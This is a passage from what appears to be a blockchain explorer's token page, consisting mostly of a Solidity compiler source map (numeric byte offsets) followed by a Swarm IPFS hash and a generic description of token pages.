:5;7414:24;:::i;:::-;7409:3;7402:37;7392:53;;:::o;7451:112::-;7534:22;7550:5;7534:22;:::i;:::-;7529:3;7522:35;7512:51;;:::o;7569:222::-;7662:4;7700:2;7689:9;7685:18;7677:26;;7713:71;7781:1;7770:9;7766:17;7757:6;7713:71;:::i;:::-;7667:124;;;;:::o;7797:210::-;7884:4;7922:2;7911:9;7907:18;7899:26;;7935:65;7997:1;7986:9;7982:17;7973:6;7935:65;:::i;:::-;7889:118;;;;:::o;8013:313::-;8126:4;8164:2;8153:9;8149:18;8141:26;;8213:9;8207:4;8203:20;8199:1;8188:9;8184:17;8177:47;8241:78;8314:4;8305:6;8241:78;:::i;:::-;8233:86;;8131:195;;;;:::o;8332:419::-;8498:4;8536:2;8525:9;8521:18;8513:26;;8585:9;8579:4;8575:20;8571:1;8560:9;8556:17;8549:47;8613:131;8739:4;8613:131;:::i;:::-;8605:139;;8503:248;;;:::o;8757:419::-;8923:4;8961:2;8950:9;8946:18;8938:26;;9010:9;9004:4;9000:20;8996:1;8985:9;8981:17;8974:47;9038:131;9164:4;9038:131;:::i;:::-;9030:139;;8928:248;;;:::o;9182:419::-;9348:4;9386:2;9375:9;9371:18;9363:26;;9435:9;9429:4;9425:20;9421:1;9410:9;9406:17;9399:47;9463:131;9589:4;9463:131;:::i;:::-;9455:139;;9353:248;;;:::o;9607:419::-;9773:4;9811:2;9800:9;9796:18;9788:26;;9860:9;9854:4;9850:20;9846:1;9835:9;9831:17;9824:47;9888:131;10014:4;9888:131;:::i;:::-;9880:139;;9778:248;;;:::o;10032:419::-;10198:4;10236:2;10225:9;10221:18;10213:26;;10285:9;10279:4;10275:20;10271:1;10260:9;10256:17;10249:47;10313:131;10439:4;10313:131;:::i;:::-;10305:139;;10203:248;;;:::o;10457:419::-;10623:4;10661:2;10650:9;10646:18;10638:26;;10710:9;10704:4;10700:20;10696:1;10685:9;10681:17;10674:47;10738:131;10864:4;10738:131;:::i;:::-;10730:139;;10628:248;;;:::o;10882:222::-;10975:4;11013:2;11002:9;10998:18;10990:26;;11026:71;11094:1;11083:9;11079:17;11070:6;11026:71;:::i;:::-;10980:124;;;;:::o;11110:214::-;11199:4;11237:2;11226:9;11222:18;11214:26;;11250:67;11314:1;11303:9;11299:17;11290:6;11250:67;:::i;:::-;11204:120;;;;:::o;11330:129::-;11364:6;11391:20;;:::i;:::-;11381:30;;11420:33;11448:4;11440:6;11420:33;:::i;:::-;11371:88;;;:::o;11465:75::-;11498:6;11531:2;11525:9;11515:19;;11505:35;:::o;11546:308::-;11608:4;11698:18;11690:6;11687:30;11684:2;;;11720:18;;:::i;:::-;11684:2;11758:29;11780:6;11758:29;:::i;:::-;11750:37;;11842:4;11836;11832:15;11824:23;;11613:241;;;:::o;11860:99::-;11912:6;11946:5;11940:12;11930:22;;11919:40;;;:::o;11965:169::-;12049:11;12083:6;12078:3;12071:19;12123:4;12118:3;12114:14;12099:29;;12061:73;;;;:::o;12140:305::-;12180:3;12199:20;12217:1;12199:20;:::i;:::-;12194:25;;12233:20;12251:1;12233:20;:::i;:::-;12228:25;;12387:1;12319:66;12315:74;12312:1;12309:81;12306:2;;;12393:18;;:::i;:::-;12306:2;12437:1;12434;12430:9;12423:16;;12184:261;;;;:::o;12451:348::-;12491:7;12514:20;12532:1;12514:20;:::i;:::-;12509:25;;12548:20;12566:1;12548:20;:::i;:::-;12543:25;;12736:1;12668:66;12664:74;12661:1;12658:81;12653:1;12646:9;12639:17;12635:105;12632:2;;;12743:18;;:::i;:::-;12632:2;12791:1;12788;12784:9;12773:20;;12499:300;;;;:::o;12805:96::-;12842:7;12871:24;12889:5;12871:24;:::i;:::-;12860:35;;12850:51;;;:::o;12907:90::-;12941:7;12984:5;12977:13;12970:21;12959:32;;12949:48;;;:::o;13003:126::-;13040:7;13080:42;13073:5;13069:54;13058:65;;13048:81;;;:::o;13135:77::-;13172:7;13201:5;13190:16;;13180:32;;;:::o;13218:86::-;13253:7;13293:4;13286:5;13282:16;13271:27;;13261:43;;;:::o;13310:154::-;13394:6;13389:3;13384;13371:30;13456:1;13447:6;13442:3;13438:16;13431:27;13361:103;;;:::o;13470:307::-;13538:1;13548:113;13562:6;13559:1;13556:13;13548:113;;;13647:1;13642:3;13638:11;13632:18;13628:1;13623:3;13619:11;13612:39;13584:2;13581:1;13577:10;13572:15;;13548:113;;;13679:6;13676:1;13673:13;13670:2;;;13759:1;13750:6;13745:3;13741:16;13734:27;13670:2;13519:258;;;;:::o;13783:320::-;13827:6;13864:1;13858:4;13854:12;13844:22;;13911:1;13905:4;13901:12;13932:18;13922:2;;13988:4;13980:6;13976:17;13966:27;;13922:2;14050;14042:6;14039:14;14019:18;14016:38;14013:2;;;14069:18;;:::i;:::-;14013:2;13834:269;;;;:::o;14109:281::-;14192:27;14214:4;14192:27;:::i;:::-;14184:6;14180:40;14322:6;14310:10;14307:22;14286:18;14274:10;14271:34;14268:62;14265:2;;;14333:18;;:::i;:::-;14265:2;14373:10;14369:2;14362:22;14152:238;;;:::o;14396:176::-;14428:1;14445:20;14463:1;14445:20;:::i;:::-;14440:25;;14479:20;14497:1;14479:20;:::i;:::-;14474:25;;14518:1;14508:2;;14523:18;;:::i;:::-;14508:2;14564:1;14561;14557:9;14552:14;;14430:142;;;;:::o;14578:180::-;14626:77;14623:1;14616:88;14723:4;14720:1;14713:15;14747:4;14744:1;14737:15;14764:180;14812:77;14809:1;14802:88;14909:4;14906:1;14899:15;14933:4;14930:1;14923:15;14950:180;14998:77;14995:1;14988:88;15095:4;15092:1;15085:15;15119:4;15116:1;15109:15;15136:180;15184:77;15181:1;15174:88;15281:4;15278:1;15271:15;15305:4;15302:1;15295:15;15322:117;15431:1;15428;15421:12;15445:117;15554:1;15551;15544:12;15568:117;15677:1;15674;15667:12;15691:117;15800:1;15797;15790:12;15814:102;15855:6;15906:2;15902:7;15897:2;15890:5;15886:14;15882:28;15872:38;;15862:54;;;:::o;15922:225::-;16062:34;16058:1;16050:6;16046:14;16039:58;16131:8;16126:2;16118:6;16114:15;16107:33;16028:119;:::o;16153:221::-;16293:34;16289:1;16281:6;16277:14;16270:58;16362:4;16357:2;16349:6;16345:15;16338:29;16259:115;:::o;16380:179::-;16520:31;16516:1;16508:6;16504:14;16497:55;16486:73;:::o;16565:182::-;16705:34;16701:1;16693:6;16689:14;16682:58;16671:76;:::o;16753:223::-;16893:34;16889:1;16881:6;16877:14;16870:58;16962:6;16957:2;16949:6;16945:15;16938:31;16859:117;:::o;16982:181::-;17122:33;17118:1;17110:6;17106:14;17099:57;17088:75;:::o;17169:122::-;17242:24;17260:5;17242:24;:::i;:::-;17235:5;17232:35;17222:2;;17281:1;17278;17271:12;17222:2;17212:79;:::o;17297:122::-;17370:24;17388:5;17370:24;:::i;:::-;17363:5;17360:35;17350:2;;17409:1;17406;17399:12;17350:2;17340:79;:::o

Swarm Source

ipfs://5a2b8ba0b1cd2d674f15ff749222fdb2d9a999257e86e0eae91c7901145f8d76
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.